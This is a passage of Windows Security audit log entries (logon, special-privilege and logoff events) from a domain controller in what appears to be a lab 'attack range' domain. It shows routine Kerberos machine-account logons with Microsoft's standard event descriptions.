-Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC853D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64067 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248890 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC853D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248889 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC84DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248888 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC84DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64066 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248887 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC84DC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248910 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC87EC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248909 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC87EC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64073 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248908 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC87EC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248907 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC878B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248906 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC878B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64072 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248905 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC878B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248904 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8725 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248903 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8725 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64071 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248902 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8725 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248901 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC86C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248900 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC86C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64070 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248899 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC86C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248922 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC98EB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC98EB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64077 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248920 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC98EB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248919 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC987A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248918 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC987A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64076 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248917 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC987A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248916 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC9806 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248915 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC9806 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64075 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248914 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC9806 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248913 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC9795 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248912 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC9795 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64074 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248911 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC9795 - -Privileges: SeSecurityPrivilege - 